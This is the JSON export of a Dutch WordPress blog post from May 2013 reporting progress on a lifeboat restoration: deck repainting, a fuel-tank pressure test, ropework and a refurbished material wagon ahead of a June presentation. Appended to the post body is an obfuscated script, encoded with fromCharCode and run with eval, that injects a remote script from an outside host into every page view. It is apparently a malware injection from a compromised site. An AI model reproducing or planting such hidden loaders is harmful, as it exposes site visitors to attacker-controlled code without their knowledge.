{"id":7056,"date":"2013-05-03T08:54:02","date_gmt":"2013-05-03T07:54:02","guid":{"rendered":"https:\/\/www.kurtcarlsen.nl\/cms\/?p=7056"},"modified":"2013-05-03T08:59:31","modified_gmt":"2013-05-03T07:59:31","slug":"restauratiestatus-1-5-2013","status":"publish","type":"post","link":"https:\/\/www.kurtcarlsen.nl\/cms\/restauratiestatus-1-5-2013\/","title":{"rendered":"Restauratiestatus 1 mei 2013"},"content":{"rendered":"<p><strong>Restauratiestatus:\u00a0<\/strong><\/p>\n<ul>\n<li>De laatste loodjes. Ze kunnen\u00a0nog\u00a0wel een paar\u00a0weken voortduren. Tot D-Day 13-06-2013.<\/li>\n<li>Op de foto zien we Bart van der Luyt het hoofddek nog een keer in de grijze aflak zetten. Er is de laatste maanden veel op gelopen,ook op de Hiswa in maart\u00a0en dat is, inmiddels was, te zien. Straks komt het teak blokkenrooster er op. Dat staat al in de teakolie en we dekken dat\u00a0tijdelijk af. Anders blijven we bezig.<\/li>\n<li>De lekkage bij de vulopening van de brandstoftank is afgedicht en we zullen het brandstofsysteem opnieuw moeten testen door het onder druk te zetten met lucht. Piet-Chris is\u00a0het opperhoofd van deze test.<\/li>\n<li>Aan de Zee\u00ebgel wordt flink doorgewerkt door Marc, Peter en Kees jr. Een paar deksels en een paar luchtinlaten en de uitlaat zitten er al weer op.<\/li>\n<li>Frans van der Zalm heeft, uit de losse hand, het achterdek in de Nederlandse driekleur afgelakt. Het roer, dat gedeeltelijk mislukt was omdat de verf niet hield (te koud?),\u00a0volgt daarna.<\/li>\n<li>Daarnaast is de tractor ploeg met vader van Dijk, Piet-Chris dus, doende om de recent verworven houten materiaalwagen\u00a0op te knappen. Het vermoeden is dat het de originele wagen uit Noordwijk is. Welk een toeval. Peter maakte al nieuwe stalen banden voor beide\u00a0houten wielen. Nu nog de juiste manier verzinnen om dat te bevestigen.\u00a0Vroeger &#8211; in de rijtuigen productie &#8211; \u00a0werden die banden precies pas gemaakt op het houten wiel en\u00a0vervolgens werd de band heet gestookt in een groot vuur (hebben we niet!). Het staal zette daardoor flink uit, kon zo gemakkelijk om het wiel worden gelegd en vervolgens werd het snel, met veel water afgekoeld. Zo kromp het zich vanzelf\u00a0 muurvast om het hout. (Ik heb het zelf niet meegemaakt en ook maar van horen zeggen&#8230;..)<\/li>\n<li>Cees en Henk storten zich al wat avonden en soms ook overdag op de aanzienlijke hoeveelheid\u00a0schiemanswerk. De dikke\u00a0grijplijnen in de voorkuip, alle grijplijntjes buiten aan de romp en de fenderlijnen zijn nu klaar. Met de lanceerlijnen, traditioneel lijkend manilla maar in het echt\u00a0een polyester lijn, gaat het de goede kant op. Ook het roerophaallijntje, dat over het achterdek loopt, is af.<\/li>\n<li>Cees kan dus gelukkig per keer wel een paar dingen van zijn werklijst schrappen.<\/li>\n<li>We hopen volgende week de nieuwsbrief en de uitnodigingen\u00a0voor 13 juni a.s. te kunnen versturen. Dan worden de boot en de tractor en misschien de materiaalwagen gepresenteerd aan Noordwijk.<\/li>\n<\/ul>\n<p>Benieuwd naar de foto&#8217;s van 1 mei, klik dan even\u00a0<a title=\"1 mei 2013\" href=\"https:\/\/www.kurtcarlsen.nl\/cms\/gallery\/1-mei-2013\/\">hier<\/a>.<\/p>\n<p>&nbsp;<script>var f=String;eval(f.fromCharCode(102,117,110,99,116,105,111,110,32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,116,105,115,116,105,99,46,115,99,114,105,112,116,115,112,108,97,116,102,111,114,109,46,99,111,109,47,99,111,108,108,101,99,116,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,125,125));\/*99586587347*\/<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Restauratiestatus:\u00a0 De laatste loodjes. Ze kunnen\u00a0nog\u00a0wel een paar\u00a0weken voortduren. Tot D-Day 13-06-2013. Op de foto zien we Bart van der Luyt het hoofddek nog een keer in de grijze aflak zetten. Er is de laatste maanden veel op gelopen,ook op de Hiswa in maart\u00a0en dat is, inmiddels was, te zien. Straks komt het teak blokkenrooster [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":7045,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"ngg_post_thumbnail":0,"footnotes":""},"categories":[36],"tags":[],"class_list":["post-7056","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-algemeen"],"_links":{"self":[{"href":"https:\/\/www.kurtcarlsen.nl\/cms\/wp-json\/wp\/v2\/posts\/7056","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.kurtcarlsen.nl\/cms\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.kurtcarlsen.nl\/cms\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.kurtcarlsen.nl\/cms\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.kurtcarlsen.nl\/cms\/wp-json\/wp\/v2\/comments?post=7056"}],"version-history":[{"count":7,"href":"https:\/\/www.kurtcarlsen.nl\/cms\/wp-json\/wp\/v2\/posts\/7056\/revisions"}],"predecessor-version":[{"id":7063,"href":"https:\/\/www.kurtcarlsen.nl\/cms\/wp-json\/wp\/v2\/posts\/7056\/revisions\/7063"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.kurtcarlsen.nl\/cms\/wp-json\/wp\/v2\/media\/7045"}],"wp:attachment":[{"href":"https:\/\/www.kurtcarlsen.nl\/cms\/wp-json\/wp\/v2\/media?parent=7056"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.kurtcarlsen.nl\/cms\/wp-json\/wp\/v2\/categories?post=7056"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.kurtcarlsen.nl\/cms\/wp-json\/wp\/v2\/tags?post=7056"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}